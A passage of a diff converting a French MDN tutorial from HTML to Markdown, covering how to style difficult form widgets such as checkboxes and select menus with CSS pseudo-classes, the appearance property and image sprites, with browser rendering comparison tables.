CSS pour modifier le style de ces éléments. Au mieux, vous pourrez faire des petites choses, mais elle ne seront pas reproductibles sur d'autres navigateurs ; il ne sera jamais possible de prendre un contrôle total de leur apparence.</dd> -</dl> - -<h2 id="Possibilités_d'expression_avec_les_CSS">Possibilités d'expression avec les CSS</h2> - -<p>Le problème fondamental avec les widgets de formulaire, autres que champs de texte et boutons, est que dans de nombreux cas, le CSS ne possède pas assez d'expressions pour styliser correctement les widgets complexes.</p> - -<p>L'évolution récente du HTML et des CSS a étendu l'expressivité des CSS :</p> - -<ul> - <li><a href="https://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes" rel="external">CSS 2.1</a> était très limité et n'offrait que trois pseudo-classes : - - <ul> - <li>{{cssxref(":active")}}</li> - <li>{{cssxref(":focus")}}</li> - <li>{{cssxref(":hover")}}</li> - </ul> - </li> - <li><a href="https://www.w3.org/TR/css3-selectors/" rel="external">CSS Selector Level 3</a> a ajouté quelques nouvelles pseudo-classes relatives aux formulaires HTML : - <ul> - <li>{{cssxref(":enabled")}}</li> - <li>{{cssxref(":disabled")}}</li> - <li>{{cssxref(":checked")}}</li> - <li>{{cssxref(":indeterminate")}}</li> - </ul> - </li> - <li><a href="https://dev.w3.org/csswg/css3-ui/#pseudo-classes" rel="external">CSS Basic UI Level 3</a> a ajouté quelques autres pseudo-classes pour décrire l'état du widget : - <ul> - <li>{{cssxref(":default")}}</li> - <li>{{cssxref(":valid")}}</li> - <li>{{cssxref(":invalid")}}</li> - <li>{{cssxref(":in-range")}}</li> - <li>{{cssxref(":out-of-range")}}</li> - <li>{{cssxref(":required")}}</li> - <li>{{cssxref(":optional")}}</li> - <li>{{cssxref(":read-only")}}</li> - <li>{{cssxref(":read-write")}}</li> - </ul> - </li> - <li><a href="https://dev.w3.org/csswg/selectors4/" rel="external">CSS Selector Level 4</a> actuellement en développement actif et objet de grandes discussions ne prévoit pas d'ajouter grand‑chose pour améliorer les formulaires : - <ul> - <li>{{cssxref(":user-error")}} qui est juste une amélioration de la pseudo‑classe {{cssxref(":invalid")}}.</li> - </ul> - </li> -</ul> - -<p>Voilà un bon début, mais il y a deux problèmes. Primo, certains navigateurs ne mettent pas en œuvre des fonctionnalités au-delà de CSS 2.1. Secundo, ils ne sont tout simplement pas assez perfectionnés pour styliser des widgets complexes, comme les sélecteurs de date.</p> - -<p>Il y a quelques expérimentations par les fournisseurs de navigateurs pour étendre l'expressivité des CSS sur les formulaires ; dans certains cas, il est bon de savoir ce qui est disponible..</p> - -<div class="warning"> -<p><strong>Attention :</strong> Même si ces expérimentations sont intéressantes, <strong>elles ne sont pas normées, ce qui signifie qu'elles ne sont pas fiables</strong>. Si vous les utilisez (et vous ne devriez probablement pas le faire souvent), vous le faites à vos propres risques et périls ; <a href="https://www.alistapart.com/articles/every-time-you-call-a-proprietary-feature-css3-a-kitten-dies/">vous faites quelque chose qui peut être mauvais pour le Web</a> en utilisant des propriétés non standard.</p> -</div> - -<ul> - <li><a href="/fr/docs/CSS/CSS_Reference/Mozilla_Extensions" title="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions">Extensions des CSS Mozilla </a> - - <ul> - <li>{{cssxref(":placeholder-shown")}}</li> - <li>{{cssxref(":-moz-submit-invalid")}}</li> - <li>{{cssxref(":user-invalid")}}</li> - <li>{{cssxref(":-moz-ui-valid")}}</li> - </ul> - </li> - <li><a href="/fr/docs/CSS/CSS_Reference/Webkit_Extensions" title="/en-US/docs/CSS/CSS_Reference/Webkit_Extensions">Extensions des CSS WebKit </a> - <ul> - <li>{{cssxref("::-webkit-input-placeholder")}}</li> - <li><a href="http://trac.webkit.org/wiki/Styling%20Form%20Controls" rel="external">et beaucoup d'autres</a></li> - </ul> - </li> - <li><a href="http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx" rel="external">Extensions des CSS Microsoft</a> - <ul> - <li><code><a href="http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx" rel="external">:-ms-input-placeholder</a></code></li> - </ul> - </li> -</ul> - -<h3 id="Contrôle_du_style_des_éléments_de_formulaire">Contrôle du style des éléments de formulaire</h3> - -<p>Les navigateurs fondés sur WebKit- (Chrome, Safari) et Gecko- (Firefox) offrent les meilleures possibilités de personnalisation des widgets HTML. Ils sont aussi disponibles sur plateforme croisées, et donc ils nécessitent un mécanisme de bascule entre les widgets de « look and feel » natif et widget stylistiquement composables par l'utilisateur.</p> - -<p>À cette fin, ils utilisent une propriété propriétaire : {{cssxref("-webkit-appearance")}} ou {{cssxref("appearance")}}. <strong>Ces propriétés ne sont pas normées et ne doivent pas être utilisées</strong>. En fait, elles se comportent même différemment entre WebKit et Gecko. Cependant, il y a une valeur qu'il est bon de connaître : <code>none</code>. Avec cette valeur, vous êtes en mesure d'obtenir un contrôle (presque total) sur le style des widgets donnés.</p> - -<p>Donc, si vous avez du mal à appliquer un style à un élément, essayez d'utiliser ces propriétés propriétaires. Nous verrons quelques exemples ci-dessous, mais le cas d'utilisation le plus connu de cette propriété est relatif au style des champs de recherche sur les navigateurs WebKit :</p> - -<pre class="brush: html"><style> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}} + +Dans cet article, nous verrons comment utiliser les [CSS](/fr/docs/Learn/CSS) avec les formulaires [HTML](/fr/docs/Glossary/HTML) pour modifier le style de certains widgets difficiles à personnaliser. Comme nous l'avons vu dans l'[article précédent](/fr/docs/Learn/Forms/Styling_web_forms), les champs texte et les boutons sont parfaitement compatibles avec les CSS. Maintenant, nous allons approfondir la part sombre de la composition stylistique des formulaires HTML. + +Avant d'aller plus loin, faisons un rappel pour deux types de widgets de formulaires : + +- la brute + - : Éléments, dont le style n'est que difficilement modifiable, demandant des astuces complexes, nécessitant parfois de faire appel à une connaissance avancée des CSS3. +- le truand + - : Oubliez l'emploi des CSS pour modifier le style de ces éléments. Au mieux, vous pourrez faire des petites choses, mais elle ne seront pas reproductibles sur d'autres navigateurs ; il ne sera jamais possible de prendre un contrôle total de leur apparence. + +## Possibilités d'expression avec les CSS + +Le problème fondamental avec les widgets de formulaire, autres que champs de texte et boutons, est que dans de nombreux cas, le CSS ne possède pas assez d'expressions pour styliser correctement les widgets complexes. + +L'évolution récente du HTML et des CSS a étendu l'expressivité des CSS : + +- [CSS 2.1](https://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes) était très limité et n'offrait que trois pseudo-classes : + + - {{cssxref(":active")}} + - {{cssxref(":focus")}} + - {{cssxref(":hover")}} + +- [CSS Selector Level 3](https://www.w3.org/TR/css3-selectors/) a ajouté quelques nouvelles pseudo-classes relatives aux formulaires HTML : + + - {{cssxref(":enabled")}} + - {{cssxref(":disabled")}} + - {{cssxref(":checked")}} + - {{cssxref(":indeterminate")}} + +- [CSS Basic UI Level 3](https://dev.w3.org/csswg/css3-ui/#pseudo-classes) a ajouté quelques autres pseudo-classes pour décrire l'état du widget : + + - {{cssxref(":default")}} + - {{cssxref(":valid")}} + - {{cssxref(":invalid")}} + - {{cssxref(":in-range")}} + - {{cssxref(":out-of-range")}} + - {{cssxref(":required")}} + - {{cssxref(":optional")}} + - {{cssxref(":read-only")}} + - {{cssxref(":read-write")}} + +- [CSS Selector Level 4](https://dev.w3.org/csswg/selectors4/) actuellement en développement actif et objet de grandes discussions ne prévoit pas d'ajouter grand‑chose pour améliorer les formulaires : + + - {{cssxref(":user-error")}} qui est juste une amélioration de la pseudo‑classe {{cssxref(":invalid")}}. + +Voilà un bon début, mais il y a deux problèmes. Primo, certains navigateurs ne mettent pas en œuvre des fonctionnalités au-delà de CSS 2.1. Secundo, ils ne sont tout simplement pas assez perfectionnés pour styliser des widgets complexes, comme les sélecteurs de date. + +Il y a quelques expérimentations par les fournisseurs de navigateurs pour étendre l'expressivité des CSS sur les formulaires ; dans certains cas, il est bon de savoir ce qui est disponible.. + +> **Attention :** Même si ces expérimentations sont intéressantes, **elles ne sont pas normées, ce qui signifie qu'elles ne sont pas fiables**. Si vous les utilisez (et vous ne devriez probablement pas le faire souvent), vous le faites à vos propres risques et périls ; [vous faites quelque chose qui peut être mauvais pour le Web](https://www.alistapart.com/articles/every-time-you-call-a-proprietary-feature-css3-a-kitten-dies/) en utilisant des propriétés non standard. + +- [Extensions des CSS Mozilla](/fr/docs/CSS/CSS_Reference/Mozilla_Extensions "/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions") + + - {{cssxref(":placeholder-shown")}} + - {{cssxref(":-moz-submit-invalid")}} + - {{cssxref(":user-invalid")}} + - {{cssxref(":-moz-ui-valid")}} + +- [Extensions des CSS WebKit](/fr/docs/CSS/CSS_Reference/Webkit_Extensions "/en-US/docs/CSS/CSS_Reference/Webkit_Extensions") + + - {{cssxref("::-webkit-input-placeholder")}} + - [et beaucoup d'autres](http://trac.webkit.org/wiki/Styling%20Form%20Controls) + +- [Extensions des CSS Microsoft](http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx) + + - [`:-ms-input-placeholder`](http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx) + +### Contrôle du style des éléments de formulaire + +Les navigateurs fondés sur WebKit- (Chrome, Safari) et Gecko- (Firefox) offrent les meilleures possibilités de personnalisation des widgets HTML. Ils sont aussi disponibles sur plateforme croisées, et donc ils nécessitent un mécanisme de bascule entre les widgets de « look and feel » natif et widget stylistiquement composables par l'utilisateur. + +À cette fin, ils utilisent une propriété propriétaire : {{cssxref("-webkit-appearance")}} ou {{cssxref("appearance")}}. **Ces propriétés ne sont pas normées et ne doivent pas être utilisées**. En fait, elles se comportent même différemment entre WebKit et Gecko. Cependant, il y a une valeur qu'il est bon de connaître : `none`. Avec cette valeur, vous êtes en mesure d'obtenir un contrôle (presque total) sur le style des widgets donnés. + +Donc, si vous avez du mal à appliquer un style à un élément, essayez d'utiliser ces propriétés propriétaires. Nous verrons quelques exemples ci-dessous, mais le cas d'utilisation le plus connu de cette propriété est relatif au style des champs de recherche sur les navigateurs WebKit : + +```html +<style> input[type=search] { border: 1px dotted #999; border-radius: 0; -webkit-appearance: none; } -</style> +</style> -<form> - <input type="search"> -</form></pre> +<form> + <input type="search"> +</form> +``` -<p>{{EmbedLiveSample("Contrôle_du_style_des_éléments_de_formulaire", 250, 40)}}</p> +{{EmbedLiveSample("Contrôle_du_style_des_éléments_de_formulaire", 250, 40)}} -<div class="note"> -<p><strong>Note :</strong> Il est toujours difficile de prédire l'avenir, quand on parle de techniques Web. L'extension des possibilités d'expression des CSS est difficile ; il y a un travail exploratoire avec d'autres spécifications, telles que <a href="https://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html" rel="external">Shadow DOM</a> qui offrent certaines perspectives. La quête du formulaire de style totalement composable est loin d'être terminée.</p> -</div> +> **Note :** Il est toujours difficile de prédire l'avenir, quand on parle de techniques Web. L'extension des possibilités d'expression des CSS est difficile ; il y a un travail exploratoire avec d'autres spécifications, telles que [Shadow DOM](https://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html) qui offrent certaines perspectives. La quête du formulaire de style totalement composable est loin d'être terminée. -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cases_à_cocher_et_boutons_radio">Cases à cocher et boutons radio</h3> +### Cases à cocher et boutons radio -<p>Composer le style d'une case à cocher ou d'un bouton radio conduit à un certain désordre en soi. Par exemple, la taille des cases à cocher et des boutons radio n'est pas vraiment destinée à être modifiée et les navigateurs peuvent réagir très différemment, si vous essayez de le faire.</p> +Composer le style d'une case à cocher ou d'un bouton radio conduit à un certain désordre en soi. Par exemple, la taille des cases à cocher et des boutons radio n'est pas vraiment destinée à être modifiée et les navigateurs peuvent réagir très différemment, si vous essayez de le faire. -<h4 id="Une_simple_case_à_cocher">Une simple case à cocher</h4> +#### Une simple case à cocher -<p>Considérons la case à cocher suivante :</p> +Considérons la case à cocher suivante : -<pre class="brush: html"><span><input type="checkbox"></span></pre> +```html +<span><input type="checkbox"></span> +``` -<pre class="brush: css">span { +```css +span { display: inline-block; background: red; } @@ -138,73 +122,48 @@ input[type=search] { input[type=checkbox] { width : 100px; height: 100px; -}</pre> - -<p>Voici les différentes façons dont divers navigateurs gèrent cela :</p> - -<table> - <thead> - <tr> - <th scope="col">Navigateur</th> - <th scope="col">Rendu</th> - </tr> - </thead> - <tbody> - <tr> - <td>Firefox 57 (Mac OSX)</td> - <td><img alt="" src="firefox-mac-checkbox.png"></td> - </tr> - <tr> - <td>Firefox 57 (Windows 10)</td> - <td><img alt="" src="firefox-windows-checkbox.png"></td> - </tr> - <tr> - <td>Chrome 63 (Mac OSX)</td> - <td><img alt="" src="chrome-mac-checkbox.png"></td> - </tr> - <tr> - <td>Chrome 63 (Windows 10)</td> - <td><img alt="" src="chrome-windows-checkbox.png"></td> - </tr> - <tr> - <td>Opera 49 (Mac OSX)</td> - <td><img alt="" src="opera-mac-checkbox.png"></td> - </tr> - <tr> - <td>Internet Explorer 11 (Windows 10)</td> - <td><img alt="" src="ie11-checkbox.png"></td> - </tr> - <tr> - <td>Edge 16 (Windows 10)</td> - <td><img alt="" src="edge-checkbox.png"></td> - </tr> - </tbody> -</table> - -<h4 id="Un_exemple_un_peu_plus_compliqué">Un exemple un peu plus compliqué</h4> - -<p>Comme Opera et Internet Explorer n'ont pas de fonctionnalités telles que {{cssxref("-webkit-appearance")}} ou {{cssxref("appearance")}}, leur utilisation n'est pas appropriée. Heureusement, nous sommes dans un cas où les CSS disposent d'assez d'expressions pour trouver des solutions. Prenons un exemple courant :</p> - -<pre class="brush: html"><form> - <fieldset> - <p> - <input type="checkbox" id="first" name="fruit-1" value="cerise"> - <label for="first">J'aime les cerises</label> - </p> - <p> - <input type="checkbox" id="second" name="fruit-2" value="banane" disabled> - <label for="second">Je ne peux pas aimer la banane</label> - </p> - <p> - <input type="checkbox" id="third" name="fruit-3" value="fraise"> - <label for="third">J'aime les fraises</label> - </p> - </fieldset> -</form></pre> - -<p>avec une composition stylistique élémentaire :</p> - -<pre class="brush: css">body { +} +``` + +Voici les différentes façons dont divers navigateurs gèrent cela : + +| Navigateur | Rendu | +| --------------------------------- | --------------------------------- | +| Firefox 57 (Mac OSX) |  | +| Firefox 57 (Windows 10) |  | +| Chrome 63 (Mac OSX) |  | +| Chrome 63 (Windows 10) |  | +| Opera 49 (Mac OSX) |  | +| Internet Explorer 11 (Windows 10) |  | +| Edge 16 (Windows 10) |  | + +#### Un exemple un peu plus compliqué + +Comme Opera et Internet Explorer n'ont pas de fonctionnalités telles que {{cssxref("-webkit-appearance")}} ou {{cssxref("appearance")}}, leur utilisation n'est pas appropriée. Heureusement, nous sommes dans un cas où les CSS disposent d'assez d'expressions pour trouver des solutions. Prenons un exemple courant : + +```html +<form> + <fieldset> + <p> + <input type="checkbox" id="first" name="fruit-1" value="cerise"> + <label for="first">J'aime les cerises</label> + </p> + <p> + <input type="checkbox" id="second" name="fruit-2" value="banane" disabled> + <label for="second">Je ne peux pas aimer la banane</label> + </p> + <p> + <input type="checkbox" id="third" name="fruit-3" value="fraise"> + <label for="third">J'aime les fraises</label> + </p> + </fieldset> +</form> +``` + +avec une composition stylistique élémentaire : + +```css +body { font: 1em sans-serif; } @@ -232,30 +191,32 @@ p { p+p { margin : .5em 0 0; -}</pre> +} +``` -<p>Maintenant composons pour avoir une case à cocher personnalisée.</p> +Maintenant composons pour avoir une case à cocher personnalisée. -<p>Le plan consiste à remplacer la case à cocher native par une image de notre choix. Tout d'abord, nous devons préparer une image avec tous les états requis pour une case à cocher. Ces états sont : non coché, coché, non coché désactivé et coché désactivé. Cette image sera utilisée comme fantôme des CSS :</p> +Le plan consiste à remplacer la case à cocher native par une image de notre choix. Tout d'abord, nous devons préparer une image avec tous les états requis pour une case à cocher. Ces états sont : non coché, coché, non coché désactivé et coché désactivé. Cette image sera utilisée comme fantôme des CSS : -<p><img alt="Check box CSS Sprite" src="checkbox-sprite.png"></p> + -<p>Commençons par masquer les cases à cocher d'origine. Nous les déplacerons simplement à l'extérieur de la fenêtre de visualisation de la page. Il y a deux choses importantes à considérer ici :</p> +Commençons par masquer les cases à cocher d'origine. Nous les déplacerons simplement à l'extérieur de la fenêtre de visualisation de la page. Il y a deux choses importantes à considérer ici : -<ul> - <li>N'utilisez pas <code>display:none</code> pour masquer la case à cocher, car comme nous le verrons ci-dessous, nous avons besoin que la case à cocher soit disponible pour l'utilisateur. Avec <code>display:none</code>, la case à cocher n'est plus accessible à l'utilisateur, ce qui signifie qu'il est impossible de la cocher ou de la décocher.</li> - <li>Nous utiliserons quelques sélecteurs CSS3 pour réaliser notre style. Afin de prendre en charge les navigateurs existants, nous pouvons préfixer tous nos sélecteurs avec la pseudo-classe {{cssxref(":root")}}. Dans l'état actuel des implémentations, tous les navigateurs prenant en charge ce dont nous avons besoin prenent en charge également la pseudo-classe {{cssxref(":root")}}, mais d'autres ne le font pas. Ceci est un exemple de moyen pratique pour filtrer l'ancien Internet Explorer. Ces anciens navigateurs verront la case à cocher normale tandis que les navigateurs modernes verront la case à cocher personnalisée.</li> -</ul> +- N'utilisez pas `display:none` pour masquer la case à cocher, car comme nous le verrons ci-dessous, nous avons besoin que la case à cocher soit disponible pour l'utilisateur. Avec `display:none`, la case à cocher n'est plus accessible à l'utilisateur, ce qui signifie qu'il est impossible de la cocher ou de la décocher. +- Nous utiliserons quelques sélecteurs CSS3 pour réaliser notre style. Afin de prendre en charge les navigateurs existants, nous pouvons préfixer tous nos sélecteurs avec la pseudo-classe {{cssxref(":root")}}. Dans l'état actuel des implémentations, tous les navigateurs prenant en charge ce dont nous avons besoin prenent en charge également la pseudo-classe {{cssxref(":root")}}, mais d'autres ne le font pas. Ceci est un exemple de moyen pratique pour filtrer l'ancien Internet Explorer. Ces anciens navigateurs verront la case à cocher normale tandis que les navigateurs modernes verront la case à cocher personnalisée. -<pre class="brush: css">:root input[type=checkbox] { +```css +:root input[type=checkbox] { /* les cases à cocher d'origine sont placées en dehors de la vue */ position: absolute; left: -1000em; -}</pre> +} +``` -<p>Maintenant que nous sommes débarrassés des cases à cocher natives, ajoutons la nôtre. Pour cela, nous utiliserons le pseudo élément {{cssxref("::before")}} de l'élément {{HTMLElement("label")}} qui suit la case à cocher originale. Ainsi, dans le sélecteur suivant, nous utilisons le sélecteur d'attributs pour cibler la case à cocher, puis nous utilisons le sélecteur de parents adjacent pour cibler le <code>label</code> suivant la case à cocher originale. Enfin, nous accédons au pseudo-élément {{cssxref("::before")}} et le styliser pour qu'il affiche notre case à cocher personnalisée non cochée.</p> +Maintenant que nous sommes débarrassés des cases à cocher natives, ajoutons la nôtre. Pour cela, nous utiliserons le pseudo élément {{cssxref("::before")}} de l'élément {{HTMLElement("label")}} qui suit la case à cocher originale. Ainsi, dans le sélecteur suivant, nous utilisons le sélecteur d'attributs pour cibler la case à cocher, puis nous utilisons le sélecteur de parents adjacent pour cibler le `label` suivant la case à cocher originale. Enfin, nous accédons au pseudo-élément {{cssxref("::before")}} et le styliser pour qu'il affiche notre case à cocher personnalisée non cochée. -<pre class="brush: css">:root input[type=checkbox] + label:before { +```css +:root input[type=checkbox] + label:before { content: ""; display: inline-block; width : 16px; @@ -269,11 +230,13 @@ p+p { vertical-align: bottom; position: relative; bottom: 2px; -}</pre> +} +``` -<p>Nous utilisons les pseudo-classes {{cssxref(":checked")}} et {{cssxref(":disabled")}} sur la case à cocher d'origine pour changer l'état de notre case à cocher personnalisée en conséquence. Comme nous utilisons un fantôme des CSS, tout ce que nous avons à faire est de changer la position de l'arrière-plan.</p> +Nous utilisons les pseudo-classes {{cssxref(":checked")}} et {{cssxref(":disabled")}} sur la case à cocher d'origine pour changer l'état de notre case à cocher personnalisée en conséquence. Comme nous utilisons un fantôme des CSS, tout ce que nous avons à faire est de changer la position de l'arrière-plan. -<pre class="brush: css">:root input[type=checkbox]:checked + label:before { +```css +:root input[type=checkbox]:checked + label:before { background-position: 0 -16px; } @@ -283,29 +246,35 @@ p+p { :root input[type=checkbox]:checked:disabled + label:before { background-position: 0 -48px; -}</pre> +} +``` -<p>Une dernière chose (mais très importante) : lorsqu'un utilisateur utilise le clavier pour naviguer d'un widget à un autre, chaque widget qui reçoit le focus doit être marqué visuellement. Comme nous cachons les cases à cocher natives, nous devons implémenter cette fonctionnalité nous-mêmes : l'utilisateur doit pouvoir voir où elles se trouvent dans le formulaire. Le CSS suivant met en œuvre le focus sur les cases à cocher personnalisées.</p> +Une dernière chose (mais très importante) : lorsqu'un utilisateur utilise le clavier pour naviguer d'un widget à un autre, chaque widget qui reçoit le focus doit être marqué visuellement. Comme nous cachons les cases à cocher natives, nous devons implémenter cette fonctionnalité nous-mêmes : l'utilisateur doit pouvoir voir où elles se trouvent dans le formulaire. Le CSS suivant met en œuvre le focus sur les cases à cocher personnalisées. -<pre class="brush: css">:root input[type=checkbox]:focus + label:before { +```css +:root input[type=checkbox]:focus + label:before { outline: 1px dotted black; -}</pre> +} +``` -<p>Voyez directement ici le résultat :</p> +Voyez directement ici le résultat : -<p>{{EmbedLiveSample("Un_exemple_un_peu_plus_compliqué", 250, 130)}}</p> +{{EmbedLiveSample("Un_exemple_un_peu_plus_compliqué", 250, 130)}} -<h3 id="Gérer_le_cauchemar_<select>">Gérer le cauchemar <select></h3> +### Gérer le cauchemar \<select> -<p>L'élément {{HTMLElement("select")}} est considéré comme un widget « truand », car il est impossible de lui composer un style cohérent entre les plateformes. Toutefois, certaines choses restent possibles. Plutôt qu'une longue explication, voyons un exemple :</p> +L'élément {{HTMLElement("select")}} est considéré comme un widget « truand », car il est impossible de lui composer un style cohérent entre les plateformes. Toutefois, certaines choses restent possibles. Plutôt qu'une longue explication, voyons un exemple : -<pre class="brush: html"><select> - <option>Cerise</option> - <option>Banane</option> - <option>Fraise</option> -</select></pre> +```html +<select> + <option>Cerise</option> + <option>Banane</option> + <option>Fraise</option> +</select> +``` -<pre class="brush: css">select { +```css +select { width : 80px; padding : 10px; } @@ -313,150 +282,203 @@ p+p { option { padding : 5px; color : red; -}</pre> +} +``` -<p>Le tableau suivant montre comment divers navigateurs gèrent cela, dans deux cas. Les deux premières colonnes ne sont que l'exemple ci-dessus. Les deux colonnes suivantes utilisent des CSS personnalisés supplémentaires, pour avoir plus de contrôle sur l'apparence du widget :</p> +Le tableau suivant montre comment divers navigateurs gèrent cela, dans deux cas. Les deux premières colonnes ne sont que l'exemple ci-dessus. Les deux colonnes suivantes utilisent des CSS personnalisés supplémentaires, pour avoir plus de contrôle sur l'apparence du widget : -<pre class="brush: css">select, option { +```css +select, option { -webkit-appearance : none; /* Pour avoir le contrôle de l'apparence sur WebKit/Chromium */ -moz-appearance : none; /* Pour avoir le contrôle sur l'apparence sur Gecko */ /* Pour avoir le contrôle sur l'apparence et sur Trident (IE) Notez que cela fonctionne aussi sur Gecko et a des effets limités sur WebKit */ background : none; -}</pre> +} +``` <table class="standard-table"> - <thead> - <tr> - <th colspan="1" rowspan="2" scope="col">Navigateur</th> - <th colspan="2" scope="col" style="text-align: center;">Rendu classique</th> - <th colspan="2" scope="col" style="text-align: center;">Rendu travaillé</th> - </tr> - <tr> - <th scope="col" style="text-align: center;">fermé</th> - <th scope="col" style="text-align: center;">ouvert</th> - <th scope="col" style="text-align: center;">fermé</th> - <th scope="col" style="text-align: center;">ouvert</th> - </tr> - </thead> - <tbody> - <tr> - <td>Firefox 57 (Mac OSX)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-mac-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-mac-select-1-open.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-mac-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-mac-select-2-open.png"></td> - </tr> - <tr> - <td>Firefox 57 (Windows 10)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-windows-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-windows-select-1-open.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-windows-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="firefox-windows-select-2-open.png"></td> - </tr> - <tr> - <td>Chrome 63 (Mac OSX)</td> - <td style="vertical-align: top; text-align: center;"><img alt="" src="chrome-mac-select-1-closed.png"></td> - <td style="vertical-align: top; text-align: center;"><img alt="" src="chrome-mac-select-1-open.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-windows-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-mac-select-2-open.png"></td> - </tr> - <tr> - <td>Chrome 63 (Windows 10)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-windows-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-windows-select-1-open.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-windows-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="chrome-windows-select-2-open.png"></td> - </tr> - <tr> - <td>Opera 49 (Mac OSX)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="opera-mac-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="opera-mac-select-1-open.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="opera-mac-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="opera-mac-select-2-open.png"></td> - </tr> - <tr> - <td>IE11 (Windows 10)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="ie11-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="ie11-select-1-open.png"></td> - <td style="text-align: center; vertical-align: middle;"><img alt="" src="ie11-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: middle;"><img alt="" src="ie11-select-2-open.png"></td> - </tr> - <tr> - <td>Edge 16 (Windows 10)</td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="edge-select-1-closed.png"></td> - <td style="text-align: center; vertical-align: top;"><img alt="" src="edge-select-1-open.png"></td> - <td style="text-align: center; vertical-align: middle;"><img alt="" src="edge-select-2-closed.png"></td> - <td style="text-align: center; vertical-align: middle;"><img alt="" src="edge-select-2-open.png"></td> - </tr> - </tbody> + <thead> + <tr> + <th colspan="1" rowspan="2" scope="col">Navigateur</th> + <th colspan="2" scope="col" style="text-align: center"> + Rendu classique + </th> + <th colspan="2" scope="col" style="text-align: center"> + Rendu travaillé + </th> + </tr> + <tr> + <th scope="col" style="text-align: center">fermé</th> + <th scope="col" style="text-align: center">ouvert</th> + <th scope="col" style="text-align: center">fermé</th> + <th scope="col" style="text-align: center">ouvert</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 57 (Mac OSX)</td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-mac-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-mac-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-mac-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-mac-select-2-open.png" /> + </td> + </tr> + <tr> + <td>Firefox 57 (Windows 10)</td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-windows-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-windows-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-windows-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="firefox-windows-select-2-open.png" /> + </td> + </tr> + <tr> + <td>Chrome 63 (Mac OSX)</td> + <td style="vertical-align: top; text-align: center"> + <img alt="" src="chrome-mac-select-1-closed.png" /> + </td> + <td style="vertical-align: top; text-align: center"> + <img alt="" src="chrome-mac-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-windows-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-mac-select-2-open.png" /> + </td> + </tr> + <tr> + <td>Chrome 63 (Windows 10)</td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-windows-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-windows-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-windows-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="chrome-windows-select-2-open.png" /> + </td> + </tr> + <tr> + <td>Opera 49 (Mac OSX)</td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="opera-mac-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="opera-mac-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="opera-mac-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="opera-mac-select-2-open.png" /> + </td> + </tr> + <tr> + <td>IE11 (Windows 10)</td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="ie11-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="ie11-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: middle"> + <img alt="" src="ie11-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: middle"> + <img alt="" src="ie11-select-2-open.png" /> + </td> + </tr> + <tr> + <td>Edge 16 (Windows 10)</td> + <td style="text-align: 